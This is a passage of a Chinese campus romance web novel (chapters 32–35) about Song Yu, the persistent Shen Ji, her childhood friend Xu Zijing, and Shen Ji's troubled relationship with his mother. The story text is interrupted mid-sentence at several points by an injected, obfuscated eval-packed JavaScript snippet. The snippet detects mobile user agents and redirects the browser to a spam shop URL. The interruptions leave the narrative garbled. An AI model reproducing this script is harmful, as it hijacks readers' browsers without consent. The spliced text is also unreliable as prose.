“你昨天不是回家了？怎么现在就回校了？”宋妤问。 何苑走进来，一边把书包放在桌上，一边将手里的拧着的保温袋放在了宋妤的位置上。 “我表妹急着要的那本书忘记给她带了，就过来取一趟。”何苑指了指被她放在桌上的那个保温袋，“东临街那家珍馐坊的早茶，还热着，洗漱一下赶紧吃。” 宋妤正饿的厉害，转身去了阳台洗漱，洗漱完毕进来以后就打开了那个保温袋。保温袋里装了两三个透明保鲜盒，一份虾仁肠粉，还有叉烧包和煎饺。 宋妤捏起一个叉烧包咬了一口，鲜美的汤汁在唇齿间流淌，平复了蠢蠢欲动的馋虫。她又拆开了一次性餐具的包装袋，夹了一口热腾腾的肠粉。 “好好吃，爱死了你了小苑。不过这家店不是很难排还要预约，你怎么在这个点买到的？” “哦，这个不是我买的，”何苑从书堆里抬起头，“我刚刚在楼下遇见沈霁和杜沧他们了，沈霁让我带给你的。” 宋妤的筷子顿住，嘴里那口包子吞也不是吐也不是。 见她陷入诡异的沉默，何苑好奇地问：“怎么了？有什么问题吗？” 宋妤抿了抿唇，放下了筷子：“小苑，以后要是沈霁让你给我带东西，你直接拒绝就好了。” 何苑意识到什么，拖着椅子来到了宋妤面前，明明寝室里现在也没有其他人，她还刻意煞有其事地压低了声音：“他是不是跟你表白了？” “没有。”宋妤摇头，她也有点不知该如何去定义他们现在的状态，“但是，算是说开了吧。” 何苑原本有些摸不着头脑，但在宋妤简单地解释下很快了解了事情的来龙去脉。她有些惊讶，睁大眼睛久久没有言语。 沈霁会说出这样的话，着实让何苑感到惊奇。明明看向宋妤的眼神中充满了满满的占有和爱意，明明恨不得跟个大型犬一样整天黏在宋妤身边，现在竟然说得不到回应也没关系这样的话。 在一段关系中将自己摆在了那样低的位置，甘心屈居于一个等待着他人回头的地方。 有这样的想法不算奇怪，可如果那个人是沈霁，又怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“难道，你打算出家了？”何苑做出个夸张的猜测。 宋妤无奈地笑了笑：“才不是呢，我连这头长发都舍不了，估计也做不到看淡红尘，六根清净吧。” 她低下头，继续道：“我只是觉得，没有结果的事情，也没有开始的必要。” 迟早要无疾而终的故事，不如不要书写开头。一颗岌岌可危的心脏，支撑不住一个新的家庭。 何苑没有看到宋妤眼中闪过的那抹晦涩，她歪着头问：“没有结果，你的意思是校园恋爱很难走到结婚是吗？你想的还真长远呢，其实有时候不必一开始就在思索结局，过程不是也很重要吗？如果过程是快乐的，多年后想起来也会觉得没有遗憾吧。” 宋妤有些怔然：“过程，会是快乐的吗......” 何苑后知后觉地反应过来这话像是在给沈霁当说客，忙摆着手重新说道：“好了好了不要往下琢磨了，过程不过程的，谁知道快不快乐呀。你当我瞎说的好了。” 32. 暗自较劲 宋妤给沈霁发了消息，想还他那些早茶的钱，沈霁回得很快，但不愿意收她的钱。宋妤无视那几次退回的转账，又发过去一次。 [小鲤鱼历险记：你要是不收，我就再也不回你的消息了。] 这句话发过去，宋妤才后知后觉地品出了点幼稚的赌气儿意味。可除却这个，她似乎也没有什么能拿出来用以威胁的了。 沈霁还是没收转账，但又发过来了一条新消息。 [。：别别别，我收就是了。就是，不要微信转账可以不，我这边有点事，正好需要点现金，你看可以不？] 宋妤正想回复，那边沈霁发来个地址，也不远，就在学校西门的一条小街上。 只是要她现在送现金过去？宋妤觉得这是沈霁寻机见面的借口，下意识就要拒绝。沈霁发过来一张照片，背景是个光线不算好的小店铺，白色大字在红底钢板上印着‘老刘车行’几个字。沈霁那台拉风的黑色机车停在店铺门口。 [。：找了这家车行的刘师傅检修，他年纪大了，不用移动支付，都收的现金。我身上带的不够，还差点，能过来给我解个围吗？丁思越约会去了，杜沧他们也都出去玩了，就当行行好，帮个忙呗？] 这话将宋妤想出的拒绝托词通通封死，思来想去，她还是答应下来，穿上外套出门去给沈霁送钱。 那家店不远，宋妤出了校门没走多远，就看到了那个熟悉的白色店标。她走过去，一眼就看到了沈霁的那台机车，却没有找到沈霁的人影。 车行老板确实是个上了年纪的老伯，他从一堆零件里抬起头，看向了站在店门口的宋妤：“是找沈霁吧，他在里面。”说完这句，老伯转头示意了一下方向，也没管宋妤是什么反应，就自顾自地埋头继续摆弄手里的那堆零件了。 宋妤走进店里，才发现这看似狭小的店铺里面还有另一个空间，似乎是摆放零件的仓库。她走过去，一眼就看到了背对着她坐在一张小马扎上的沈霁。 沈霁只穿了一件黑色的无袖背心，手臂上结实的肌肉暴露在空气中，一双长腿随意曲起，包裹在迷彩布料之下。这间内室的空间太过狭小，空气也带了点滞闷的躁意。宋妤的目光划过沈霁漂亮又流畅的肩颈线条，又默默地移开了眼。 宋妤走路轻，沈霁似乎没有发现她，专注地组装着手里的机械部件。 “沈霁。”宋妤叫了一声他的名字。 沈霁转过身，看见她的那刻眉梢微微扬起，眼睛也跟着弯了起来，露出一个很疏朗的笑。 “你来了，”沈霁收起手上的工具，朝宋妤走过来，“你稍等我下，洗个手再跟你出去。” 宋妤原本想说自己就是来送个钱马上就走，可沈霁在她面前团团转的忙碌，根本没给她开口的机会。 等两人一起从内室出来以后，宋妤才从斜挎包里拿了现金递给沈霁，沈霁也从善如流地接过，放在了店铺老伯的柜台上。 宋妤顺着那方向朝柜台看去，看到了被零件盒子挡住的一角绿色。宋妤没多想，下意识伸手拨开了那个放在上面的盒子，盒子下绿色的微信收款码清晰地暴露在宋妤的视线之内。 察觉到宋妤动作却来不及阻止的沈霁眼见着宋妤已经有些不悦地眯起了眼睛，连忙给自己找补：“店里贴的是刘伯老婆的收款码，有时候伯母不在，他就会让我们给现金，留作私房钱。” 说完以后，他生怕宋妤不信，转过头去叫柜台后面的老伯：“你说是吧，刘伯。” 刘伯哼了一声，并不应和他。 宋妤看了看沈霁，又看了看店主老伯，她叹了口气，才对沈霁道：“你跟我出来。” 沈霁乖乖跟上，明明是个身量高大的男生，亦步亦趋地跟在宋妤身后的模样却像只做错事情担心被主人责罚的小狗。 店门外，宋妤双手抱臂，抬起眸淡淡地看了沈霁一眼：“别找借口，我知道你撒谎了，就是想把我骗出来找你。” 沈霁不说话，只是垂下了眸。宋妤抿了抿唇，继续教育他：“你辜负了我对你的信任。” 这话让沈霁表情微变，他有些急了，忙抬起头去寻宋妤的眼。他想去拉宋妤的手腕，但想到什么以后还是克制地放下。他的唇瓣动了动，低声说了句含糊不清的话。 宋妤除了最前面的对不起三个字剩下的都没有听清楚：“你说了什么？” “对不起，我没想骗你的。” “我只是，挺想见你的。” 沈霁依言重复了一遍方才的话，每一个字眼都清晰地落入了宋妤的耳中。 宋妤一愣，随即侧过脸，再开口时语气有些恼：“你这话说的好像很久没见过我一样，明明周五的时候就见过面。” “还是很想见，每天都想见到。”沈霁看着她的眼睛，很是认真地回答。 这话听着酸，却确确实实是他发自肺腑的想法。老实说自周五那天说开以后，沈霁还是担心的，担心宋妤会就此把他越推越远。 宋妤有点不懂得如何应对这传说中的直球选手，她不太看继续看沈霁的眼睛，也没了计较被骗的心思，偏过头去：“钱已经送到了，那我就先走了。” 沈霁见她要走，立刻起身跟上：“别啊，继续出来了，我们去吃饭吧，也快中午了。” 宋妤拒绝：“我才吃过，就不去了，你自己去吧。” 说完以后，宋妤就准备转身离开，沈霁被拒绝后也没说什么，只是默默地跟了上来。两个人并肩走了一段，见他还没有换路的打算，宋妤没忍住先开口问：“怎么还跟着我，你不是要去吃饭吗？” 见宋妤眉心微蹙，沈霁也跟着轻挑眉梢，他微叹一声：“我是要去吃饭啊，回学校吃食堂。” “怎么能说是我一直跟着你呢，”沈霁微俯下身凑近她，又侧目示意了一下近在咫尺的学校大门，“我也在这上学，你不让我走这条路，又急着赶我走，有点过分了吧。” 耍嘴皮子这件事宋妤不擅长，她没还嘴，默默移开眼：“要走就走，谁赶你了。” 进了学校，沈霁依旧跟着宋妤往女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297281|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生寝室楼的方向走，宋妤转过身看他：“女寝楼下没有食堂。” 沈霁已经打定主意要没皮没脸了：“对，我知道。我去那边的奶茶店买奶茶，顺道就一起送你回寝。没别的意思，就是正好顺路嘛。对了，你喝不喝奶茶，你之前买给我喝的那种还挺好喝的，我请你喝。” “不喝不喝。”宋妤说完就要转头走人，沈霁作势要去拉她的手腕，指尖还没未触碰到，身后忽然响起一道有点清冷的男声。 “小妤。” 宋妤和沈霁齐齐朝身后望去，道路的不远处立着个身形修长的男人，那人穿着衬衫黑裤，戴着眼镜，模样清俊，气质温和儒雅。 沈霁正疑惑那人是谁，就见身旁的宋妤朝那人招手，甚至小跑了过去。 “子镜哥，你怎么在这里呀？”宋妤走到许子镜面前，有些意外地问。 许子镜解释道：“你上周不是说过有事找我问我什么时候有空，我今天正好有时间，给你发了信息没有回，打了电话也没接，我就过来看看。” 上周宋妤的课程实验需要用到一台预约制的大型仪器，那台仪器价格昂贵，操作复杂，院里有规定，本科生不能操作，预约使用的同时要自行寻找至少为研究生的操作者一同进入仪器室，所以宋妤就找上了许子镜。 听他这么说，宋妤才想起来自己匆匆拿了现金就出来找沈霁，把手机给忘在寝室里了。 “不好意思啊子镜哥，我手机没带所以没看见信息。”宋妤解释道。 许子镜笑着应了声：“没事的，所以我这不是过来找你了。” 两人这边正说着话，沈霁按捺不住了，又或者应该说，宋妤叫第一声子镜哥的时候他就已经不冷静了。 什么子镜哥，宋妤不是独生子女吗，打哪来的便宜哥哥？还有那个人竟然叫她小妤，有没有血缘关系啊一点边界感都没有！ “宋妤，这位是？”沈霁忽然横插入两人中间，笑得一派轻松，“怎么也不跟我介绍介绍。” “哦哦，”宋妤看了眼沈霁，又转头看向许子镜，“子镜哥，他是沈霁，我...我的朋友。” 说完后她又看向沈霁，继续介绍道：“这是许子镜，我们院研一的学长，也是我领居家的大哥。” 许子镜探究的目光落在沈霁身上，又立刻收敛，换上温和有礼的笑脸，他伸出手对沈霁道：“你好，我是许子镜。平日里，有劳你对小妤的照顾了。” 沈霁握上他的手，唇角牵起的笑没什么温度：“你好，我是沈霁。原来是大哥啊，之前没听宋妤提起，她没有早点介绍我们认识真是可惜了。不过大哥说这话就见外了，照顾宋妤是我的分内之事，实在谈不上劳不劳的。” 听到沈霁也叫许子镜大哥，宋妤有些意外地抬起头。 莫非沈霁也是那种自来熟的性格吗？ 看着两只交握的大手暗自较劲，宋妤默默地看了看笑容僵硬的两人，她的思绪有点跑偏。 看来他们很投缘啊，握手握到现在都没松开。 33. 他的赢面 沈霁有点焦躁地在生科实验楼的大厅前走来走去。面对那个突然冒出来的青梅竹马，沈霁实在没有办法保持淡定。他的直白攻势还没开始，就先出现个明显比自己更跟宋妤更熟络的许子镜。 初初见面那简单地两句话，便足以让沈霁断定那个所谓饿邻居大哥对宋妤的想法绝对不是单纯的发小。 沈霁眼见着那两人就要一同离去，离开前宋妤还说会请许子镜吃饭答谢。沈霁哪里还坐得住，下意识就要跟上去。许子镜还没说什么，宋妤却先一步把他拦住。 “精密仪器实验室不太方便带你进去。而且，你该去吃饭了，不要跟来了，快去。” 被拒之门外的沈霁哪里还吃得下饭，不让他跟，他就是偏要去。不过还是被实验室指纹锁拦在了一楼大厅。进不去实验室，沈霁也不气馁。 想背着他两个人单独吃饭？没门，没窗，看他把缝都给焊死！ 一下午沈霁就耗在一楼大厅的那张长椅上了，他时不时往电梯那边张望，手机都充了两次电了，还没见到那两人下来。 做实验要这么久的吗？有没有认真做，是不是忙里偷闲干别的去了？沈霁是真想闪现到仪器室去当个现场监工。 沈霁是饿得前胸贴后背，但又怕自己前脚一走盯了半天的两人会趁着那点空隙溜走。等待的时间真难熬，平日里能用来打发时间的那些游戏现在一点也玩不进去。 他百无聊赖地叹了口气，身后响起一道声音：“沈霁，你怎么在这里？” 沈霁转过头，一个穿着白色实验服的女生站在他身后不远处。看清那张脸的时候他一时没想起来眼前人是谁，等那女生又说了几句话以后，沈霁才从脑海中搜寻到这个女生的信息。 校长的侄女张瑛，以前打过招呼，似乎也是生科院的。 “我在这等人，她没带手机，也不知道什么时候下来。”沈霁回道。 张瑛上下打量了一番沈霁，随后微微一笑：“难道是在等女生？女朋友？” 沈霁没否认，随口抱怨了一句：“我都守这多久了，也上不去，不知道人走了没有。” 张瑛看了一眼离大厅最近的电梯，有些好笑道：“你女朋友是不知道你在这里等她吧，那你这样干等着可能会扑空哦。实验楼出来一般都走的另一部电梯。” 闻言，沈霁不淡定了，直接暗骂了声：“靠，竟然还有另一个出口？” ... 许子镜提出要现在去实验室的时候，宋妤第一时间就答应下来了。沈霁闹着要跟着，宋妤没让，赶他去吃饭。 到了实验室开始样品前处理后，许子镜一手握着镊子，另一只手固定着载物台，因为样品是粉末，宋妤在一旁帮忙打了手电筒，方便他看清取样的量。 “小妤，你的那位朋友，沈霁，是在追求你吗？”许子镜一边继续着手上的动作，一边状似不经意地问出这话。 宋妤倒是不意外许子镜会这样直白地问，毕竟从小到大两个人之间的相处模式就是这样，有什么说什么，基本上没有打哑谜这个步骤。 宋妤沉默了一秒，才嗯了一声。许子镜将宋妤的沉默当作了为难，他思忖了片刻以后开口：“沈霁，这个人我知道一些。要是你对他的行为感到困扰，或许我可以帮忙。” 宋妤会和沈霁那样的人物扯上关系，许子镜有些意外。同时，他也有些担忧一向内敛的宋妤应付不来沈霁。 和宋妤相处将近二十年，许子镜无需开口询问也知道宋妤不会和沈霁在一起。又或者应该说，他清楚宋妤的心结所在，知道宋妤没有打算敞开心扉接受任何人的心意。 因为被脆弱的心脏所累，过早地知悉了父母不幸福的婚姻，过早地感知了生活的窒息和痛意。比起去感知身边的人，宋妤更愿意封闭自己，活在只有自己的世界里。 宋妤侧过头看他，笑道：“没有感到困扰，我能处理好的。” 既然她这么说了，许子镜便也不再往下深问下去，善解人意地转移了话题。 样品测试的过程很繁琐，除了前处理之外，调试仪器和寻找合适的角度拍摄也花了不少时间，等所以样品组都完成测试以后，宋妤看了眼挂钟才发现不知不觉地已经过去了快要四小时。 收拾完东西以后，宋妤和原本要和许子镜一起离开，结果教授临时的一个电话把许子镜叫走了，两人说好的约饭也只能暂时搁置。从电梯下来以后，宋妤远远就看到了一楼大厅长椅上那个熟悉的身影，似乎是沈霁。她不确定，凑近了些看，正好听到了沈霁和那位学姐的对话。 宋妤的眉梢微微挑起，她有些意外，更多的则是无奈。 这家伙不会连饭都不吃就这么一直在这里守着吧？还真是，有够执着的。 沈霁从学姐口中得知有另一部电梯，正欲急急转身，下一刻便直直闯入了宋妤的视线之内。 沈霁愣了一下，又很快调整好表情，带着笑迎了上来：“宋妤，你的实验结束了啊，我正好来这边找个人，这么巧就遇上了。你什么时候下来的？” 宋妤：“......”你说在这里等了很久的时候。 她沉默两秒，还是顺着沈霁的话继续圆了下去：“那，那你找完人记得快点离开吧，再晚食...实验楼就要关门了。”说完，宋妤就要绕开沈霁往外走，没走两步又被他追上。 “你们不是要去吃饭吗？你和那位...”沈霁皱了皱鼻子，有些不情愿地说出了最后几个字，“那位邻居家哥哥。” 说完以后，沈霁没等宋妤回他，自顾自地探头朝后张望：“也没看到他人啊，怎么还没出来。”说着说着，他不忘再拉踩几句：“都这个点了，还磨磨蹭蹭的让你等他。” “他临时有事先走了。请他吃饭改下次了。”宋妤道。 这前半句让沈霁眉目舒展，后半句却又将他的眉毛重新拧了起来。 下次是什么时候啊？能提前通知他吗？或者能直接带上他一起吗？ 沈霁很想直接这么问，但他见宋妤的眉眼处是难掩的疲惫，便将那些缠人的话又通通咽了回去。 “那你现在要去吃饭吗？时间也不早了，现在我......”沈霁又问。 宋妤自然知道沈霁这话的后半句肯定是要邀她一起吃饭，所以未等沈霁说完，她便先一步开口打断：“我今天好累了，回宿舍吃泡面去。” 她这反应太迅速，就像在心里默念了十几遍答案似的。沈霁怔了下，宋妤抗拒的眼神被他看在眼里。他的唇角微微抿起，随后默默地移开了眼。 如果许子镜没有临时被叫走的话，宋妤就会愉快地和他一起共进晚餐。而换了自己，明明只是刚露了点想要邀请的苗头，就被毫不犹豫地掐灭在摇篮中。 舌根泛起淡淡的苦味，沈霁不知道是不是因为太长时间的水米未进而产生的不适感。他敛去那抹自嘲的笑，调整好表情重新抬起眼看向宋妤。 “很累的话，那就早点回去消息吧。”沈霁越过宋妤往另一个方向走，单手抬起晃了晃，“我有事要去校外，就先走了。回见。” 他走了两步，又停下脚步回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387971|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对宋妤道：“很累的话只吃泡面可恢复不过来，第三餐厅的牛肉面档口我挺推荐的，也不需要排很久的队，过去好好吃个晚饭吧。” 宋妤想说点什么，她的唇瓣几度开合，却始终未吐露出只言片语。而当她在抬起眸，沈霁已经拎起外套走远了。 “沈...”身体不受控制地往前迈进了几步，直到鞋尖不小心踢到路上的石子，宋妤的理智才重新回笼。她这才发现自己不知何时抬起了手臂，下意识做出了一个挽留的动作。 宋妤垂下眼看着自己的指尖。 原来她的第一反应是追上去吗?可是，即使追上去了她又能说些什么呢？ ... 丁思越晚上九点去了沈霁在校外的大平层。他按了门铃没人开，索性直接输了密码进来。 屋内没开灯，四处都是黑漆漆的，没有一点声音。仿佛在和闯入者昭告着，这套房内现下空无一人。但丁思越依旧熟门熟路地摸进来，将客厅的灯全部打开，屋内立刻亮堂起来。 丁思越又跑到主卧，啪地一声打开了屋内的灯。灯一亮，床上那一大坨被子便动了动。 “就知道你在家！”丁思越二话不说就上手扯被子，“听到门铃了吧，还故意装死！” 沈霁压住被子，烦闷地闭上眼睛：“你突然来我这里闹什么，烦着呢，快滚。” 丁思越坐在他床头，将手里的保温盒放在床头柜：“起来，给你带了点吃的。多大人了，还是跟以前一样心情不好就一口饭不吃，说出来也不怕人笑话。” 沈霁半睁开眼看他：“你怎么知道？” 丁思越耸耸肩：“你就当是来自好兄弟的心电感应吧。快，别辜负你兄弟的一番好心。别忘了，如果不是绕道来了你这里，我可是还能和亲亲女友再约会一小时的！” 沈霁从床上坐起来，他曲起一条腿，黑发乱糟糟的，看向丁思越的眼神也是恹恹的。 “别扯那些乱七八糟的，你到底为什么会过来？” “那些都不是最重要的，”丁思越弯起唇笑了下，“重要的是，你今天没有什么烦恼想跟我倾诉一下吗？难道不想让兄弟给你支支招吗？” 沈霁沉默了一下，还是开口道：“我今天见到宋妤的...发小了。本校研究生，大她几岁，看上去应该和宋妤关系挺亲近的。” 丁思越摸着下巴：“所以你是因为发现情敌了，觉得自己的赢面又变小了，所以破防了，想知难而退了？” “怎么可能，我不会放弃的。”沈霁说得很慢，语气却很坚定。 丁思越挑起眉梢，接着问：“那你在烦恼什么？” 沈霁垂下眼，声音也变得更低：“我不知道，可能确实对自己有点没信心吧。” 他没有知难而退，但丁思越说的话也并非完全错误。 他，确实有点破防了。 “我只是有点想不明白，怎么我在意的，都看不到我呢？” 这句话沈霁说得很轻，最后几个字更是几近呢喃。 沈霁觉得一直以来自己已经足够努力了，努力再变得更加优秀，更加夺目。他明明在意的也不多，可偏偏唯独几个放在心上的，却总是触碰不到。 母亲是这样，宋妤也是这样。 听到‘都看不到我’这几个字时丁思越的眉梢微微挑起，他的目光落在床头柜上那个几经辗转才交到自己手上的保温桶，唇边勾起个意味不明的笑来。 他一手搭上沈霁的肩：“你要对自己有信心才对，我倒觉得你的赢面蛮大的。真的。” 34. 孤寂之心 桌上的手机震动了两下，宋妤拿起来，看到了丁思越给她回的三个简单的字眼。 [东西已送到。] 宋妤回了个谢谢，放下手机趴在桌板上发呆。她不知道自己究竟为什么要做这些事，但如果没有丝毫行动，她的心又会被一种莫名的情绪反复拉扯。 一闭眼就想到沈霁那个受伤的眼神。他明明欲言又止，最终还是什么都没说。 这分明是个就此斩断沈霁念想的好机会，这分明是宋妤预设过许久的开端。可看到沈霁垂着眼离开的背影，宋妤却没有一点如释重负的感觉。 何苑察觉出了宋妤情绪不高，晚上偷偷摸上了宋妤的床，在她身旁躺下。 “现在是闺蜜夜话时间。”何苑拉开了宋妤的被子，躺进去以后，才转过头看她，“小妤，有心事的话，可以跟我说说。” 宋妤不是个善于倾诉的性格，她什么都喜欢埋在心里，一个人默默地憋闷着。可何苑却是个很不错的倾听者，她说要听宋妤讲她的烦恼，没立刻得到回话也没再催促，抱着宋妤的手臂把属于自己的温度传递给她。 “是因为沈霁的事吗？”何苑做出猜测。 宋妤把脸往被子里埋了几分，闷闷地嗯了一声。 “事情和我所想的不一样。不知道为什么，我有点在意沈霁的想法，所以好像做不太到很冷漠地对待他。” 何苑沉默了一会儿，理清了宋妤现在的心理状态。刻意去疏远和拒绝已经让自己心动的人，确实是一件很困难的事情。 “你喜欢上他了？”何苑还是将这个问题问出了口。 宋妤顿了一下，才轻声答道：“我，我也不知道。就是觉得他是个很好的人，希望他能够开心点，不想让他难过。有没有到达喜欢的程度，我也不知道。” “小妤宝宝，你之前总是跟我说，不愿意开始一个没有结局的故事。你总在强调结局，所以我就下意识认定你是一个对感情十分固执的人。”何苑看向她的眼睛，“老实说，我看沈霁对你的态度也觉得挺惊奇的，还从来没见过他对谁这样上心过。沈霁那样的人，一旦认真起来，确实是挺能打动人的。” “可是每个人对感情的态度不一样。喜欢的时候，可能确实是深陷其中，付出一切，但到了该放开的时候，有的人能做到潇洒放手，自由脱身，但有的人却会一直沉溺在对最相爱的那段时间的回忆和幻想之中，没办法接受一段感情的结束。可是，人本来就很难长久地相爱。” “那你呢，你会是哪一种？” 宋妤犹豫着开口：“我不知道，我没尝试过，也没深想过。这种事情，不到真正发生的那一天，我也不知道。” “所以说嘛。故事没发生，谁知道会是什么样的。”何苑将双手枕在脑后，“我们都还年轻嘛，其实想那么多哲学深远的问题做什么，活在当下，最重要的就是快乐啊。” “我说这话只是想告诉你，有时可以试试抛开多余的顾虑，遵从自己内心真正的声音。” 见宋妤一副若有所思的模样，何苑忽然摇了摇她的肩膀：“但我有一点要提醒你，如果你内心的声音告诉你选择跟沈霁谈的话，你记得，不要太喜欢他，不要投入太多进去。” 何苑简直快要纠结死了，她原本是不赞同宋妤选择沈霁这样的人当男朋友，可宋妤单了这么些年，好不容易第一次开了情窍，终于不像个淡泊情爱的出家人了，何苑又会觉得能谈这么一个优质帅哥何乐而不为呢。但是宋妤没谈过，何苑又开始忧心宋妤会被这段感情看得太重。 唉，怎么现在连她都开始纠结了。 “听从自己的声音。”宋妤垂下眼，低声轻喃。 ... 沈霁送走丁思越以后，又去了躺浴室洗了个澡。洗过澡以后，萎靡的精神稍稍恢复了些。他擦着头发坐在客厅的沙发上，起身要收湿毛巾的时候险些把茶几上那个包装精美的礼盒撞掉。 沈霁将礼盒悬空在外的一角推了回去，又转头看了眼旁边的挂画日历。 看到那个被红笔圈起的日期，沈霁放弃了现在回校的想法。明天得赶回家里一趟，早上就出发的话，还是从这边过去会近一些。沈霁蹙起眉，神色中带着点犹豫。手机被他拿起又放下，却始终没有点开聊天界面。 他这边仍犹豫着，倒是沈明哲先打来了电话。 “没忘了明天是什么日子吧，记得早点回来。” 沈霁停顿了好一会儿，懒散地应了声：“知道了，倒是你这个大忙人，记得别迟到才对。” 翌日，沈霁看准时间，提前问过大哥，知道他已经回了家，才开车回了山间别墅。 沈明哲是个大忙人，所以回得晚，沈霁想等他一起，到家的时候已经是晚上七点。还未走进客厅，沈霁就听到了沈明哲和母亲沈曼低声交谈的声音。沈明哲不知说了些什么，沈曼看上去很开心，眼角眉梢都是温和的笑意。 沈霁就站在门口处，看着那个笑，一时忘记了挪动脚步。 温柔地笑着的母亲很美，可对沈霁而言却有些陌生。因为在他的记忆中，见惯了的是母亲冷漠，愤怒，甚至是发病时的歇斯底里。 孩童时期还会因为天然的孺慕一次次去触碰母亲对他竖起的冷硬尖刺，即使被刺伤，也只会一遍遍地反思自己究竟是哪里不听话才会遭到排斥，独自舔舐完伤口以后，再次怯生生地靠近那个永远不会对自己展露笑容的人。 沈霁收回了目光，他绕过客厅转角，想无声地自己上楼。沙发上的沈明哲却第一时间注意到了他的声音，朝他的方向喊了句：“小霁，你回来了？” 沈霁的背脊一僵，还是转过了身。他一步一步走回客厅，对着沈明哲叫了声哥，又缓缓地转过头看向那个坐在轮椅上的美妇人，他微抿起唇，低声开口：“妈，我回来了。” 沈曼正低头看着沈明哲给她带回来的画册，仿佛没听到那句话一般，抬手又翻了一页。沈霁已经习惯这样的无视，倒是沈明哲低唤了一句：“妈，小霁回来了。”说着，沈明哲抬眼看到沈霁手里提的礼盒，示意他把东西放到桌上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389049|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈，小霁也给你带了礼物，拆开看看吧。” 沈曼终于有了点反应，她的目光从画册移到那个包装精美的礼盒上，却没有俯身去看，也没打算动手拆开，启唇发出一个简简单单的音节。 “嗯。” 沈明哲站起身，替沈曼打开了那个盒子。黑色缎布上躺着一条剔透耀眼的红宝石项链，他一眼就认出了那是母亲年轻时最钟爱的那个珠宝品牌，而这条名为逐日的项链，更是这个珠宝品牌创始人可遇不可求的收山之作。 “妈，小霁送的这条项链多漂亮，我帮你戴上试试吧。”沈霁微俯下身，将礼盒中的那条项链抵至母亲面前。 沈曼抬眸，盯着那条项链看了一会儿后又慢慢地移开眼：“很漂亮，你帮我先收起来吧。我饿了，先开饭吧。” 负责做饭的阿姨早早备好了一桌的饭菜，几人坐到了餐桌前，上完菜很快就可以开饭。 各类菜肴满满当当地摆了一桌，今天是沈曼的生日，厨房这边特地准备了一块精致的红丝绒蛋糕。阿姨端着蛋糕过来的时候，意外却在这时候发生。阿姨原本平稳的脚步不知被何物绊倒，她一个踉跄，手里的托盘径直往前倒去。 瓷盘落地碎得四分五裂，托盘里飞出的蛋糕弄脏了离得最近的沈曼的裙摆。她一向爱干净，眉梢立刻紧紧蹙起。 沈霁离桌上的纸巾最近，他抽了几张纸巾后站起身，走到母亲身旁后俯下身想要替她清理裙子上的蛋糕渍。 他的手指还未碰到那块布料，先一步被一只手狠狠打开。沈霁怔住，垂眼看着自己手背上浮起的红痕。 “别碰我！不要碰我！”沈曼忽然声嘶力竭地嘶吼，见沈霁没有后退，她又近乎失控般地用更重的力道用双手用力地推了他一把。 沈霁低着身子没有立稳，不设防地被这么一推，身子立刻往后栽倒。掌心传来钻心的疼痛，沈霁的耳畔传来阿姨惊呼的声音。 沈霁看着自己的母亲，而那个人却白着脸移开了视线，不愿再看他半分。他的唇边勾起了一点自嘲的弧度。 他以为自己早已不同于幼时，可现在看来，他依旧一点长进也没有。 那颗孤寂的心依旧在渴望靠近，那颗心依旧在执着地靠近后被碰撞得鲜血淋漓。 沈明哲立刻站起身朝沈霁走来，想要查看他的伤口。沈霁站起身，从沈明哲那里抽回了自己的手。 “我没事，是小伤。妈的情况好像又不稳定了，今天我还是先走吧。” 说完这句，沈霁不顾沈明哲的阻拦，绕过那堆染了血迹的碎瓷片，径直往别墅大门走。 他的伤没有处理，但还是开车下了山。莫名其妙地，车子又抛锚在了半路。不好的事情似乎总在心情不好的时候一件又一件地找上门。 沈霁打了个电话让人过来处理车，自己徒步走上了通往旁边街市的道路。 这边似乎是条夜市，这个点人流很多，熙熙攘攘地在大街上流动。越是吵闹的地方，越能感受到孤独的心脏在缓缓跳动。 35. 她的剖白 今天的课结束的早，宋妤和舍友们在食堂吃过了饭，就回宿舍先洗了个澡。原以为今晚没什么别的事，宋妤就打算抱着平板爬上上铺的床开始躺平，结果专业课老师一个电话打过来，让她和温青青一块过去商量一下下周校外实践的事。 宋妤无法，只好爬起来换衣服。刚换好衣服，就看到微信的聊天框跳动了一下，是那个熟悉的头像给她发来了消息。 [。：你现在有空吗？] 宋妤正低头编辑自己现在正好有事的消息，对面先一个电话打了过来。她的手比脑子更快，一下子接了起来。 